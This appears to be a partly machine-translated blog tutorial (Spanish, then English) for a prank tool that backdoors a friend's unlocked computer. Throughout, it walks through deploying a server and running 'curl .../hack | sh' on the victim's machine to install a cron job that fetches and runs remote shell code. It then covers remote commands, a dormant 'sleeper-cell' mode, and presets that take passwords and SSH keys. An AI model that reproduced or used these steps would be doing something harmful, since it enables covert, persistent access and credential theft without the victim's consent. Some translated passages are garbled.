Cómo hackear a tus amigos

Mis amigos a menudo dejan sus computadoras abiertas y desbloqueadas. Les digo que probablemente deberían tener el hábito de bloquear sus computadoras, pero no me escuchan. Así que he creado un proyecto simple para piratear a mis amigos y mostrarles la importancia de la seguridad informática.

Todo lo que tengo que hacer es esperar a que dejen su computadora desbloqueada durante unos segundos, abrir su terminal y escribir un comando único y corto.

¡Eso es! Su computadora ahora está infectada y puedo ejecutar los comandos que quiera en esta computadora de forma remota. Bastante dulce, ¿verdad? ¿O quizás impactante?

Hackear es ilegal. Específicamente:

"Acceder intencionalmente [ing] a una computadora sin autorización o exceder [ing] el acceso autorizado" - La Ley de Abuso y Fraude Informático (18 USC 1030)

Así que tenga en cuenta que el propósito de este artículo es mostrarle lo fácil que sería para alguien con malas intenciones hackearlo para que usted pueda evitar ser hackeado.

No hace falta ser un hacker genio para arruinar tu vida; cualquier "script kiddy" que pueda obtener acceso físico a tu computadora puede comprometerte al descargar un script que contiene solo 50 líneas de código.

Obtener la configuración

Todo el código de este proyecto se encuentra en este repositorio si quieres empezar, pero explicaré cómo funciona todo a continuación.

Primero, solo necesita clonar el repositorio, instalar sus dependencias y vincular simbólicamente la herramienta de interfaz de línea de comandos (CLI) de hack .

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

A continuación, debe configurar Heroku para alojar los scripts que se ejecutarán en la máquina de sus amigos. Si nunca antes ha usado Heroku, regístrese aquí (¡es gratis!) Y configure su herramienta CLI en su máquina.

brew install heroku-toolbeltheroku login

Ahora dentro de la corte de recompra, crear una aplicación Heroku con un nombre fácil de recordar. Estoy usando hacker-chet.

heroku create hacker-chet

Entonces necesitas ejecutar un comando para hacer una pequeña configuración. Todo lo que realmente está haciendo es obtener la URL raíz de su sitio web Heroku y ponerla en su package.json . De esta forma, el servidor puede inyectar la URL de la aplicación en los scripts de shell.

npm run init

Puede iniciar el servidor localmente si desea piratear y probar cosas.

npm start

O puede implementar en Heroku.

npm run deploy

¡Ahora estás listo para hackear!

API de pirateo

La belleza de este programa es que para comenzar a piratear a alguien, solo necesita ejecutar un solo comando en su máquina.

curl /hack | sh

ROOT_URL es la ruta específica a su aplicación. Cuando ejecute el servidor localmente, será localhost: 5000 y cuando lo implemente en Heroku, será algo como .herokua pp.com.

Lo que hace es configurar un trabajo cron, un "trabajo cronológico" que vuelve a ejecutar tareas en determinados momentos, para hacer ping al punto final / env / live cada minuto y canalizar el resultado a sh . ¡En realidad es bastante simple! Y Heroku te ofrece HTTPS gratis, así que es "seguro", ¿verdad?

Una vez que hayas pirateado a tu amigo, puedes hacer todo lo demás con la herramienta de línea de comandos de tu computadora.

La herramienta de pirateo tiene un concepto de diferentes entornos pirateados. Cuando piratea a alguien usando el punto final / hack , esa persona comienza en el entorno en vivo . Y para cada entorno, puede ejecutar una variedad de comandos diferentes. Lo demostraré todo con un pequeño tutorial.

A continuación, se reescribirá el script de shell del entorno en vivo para ejecutar el siguiente comando que dirá en voz alta "Te estoy mirando".

hack live exec "say 'I\'m watching you'"

Bueno, todavía no va a funcionar, todavía tienes que volver a implementarlo en tu aplicación Heroku.

hack deploy

Ahora espere el siguiente minuto y observe cómo la computadora de su amigo hace ping a su servidor siguiendo los registros del servidor.

hack logs

The whole point of environments is so you can hack multiple people at the same time. To isolate people in different environments, you just need to change the name.

hack live rename jon

Next time the live environment is pinged, it will rewrite the cron job to start pinging the jon environment instead.

You can do everything the same just by changing the environment argument.

hack jon exec "say 'hello jon'"

Now if you’ve had enough fun for the day and the party’s over, you can forget Jon and assure him that you’ve “unhacked” him.

hack jon forget

This will erase the cron job from their computer. Or you might want to just put this environment in sleeper-cell mode so you can recover it later.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!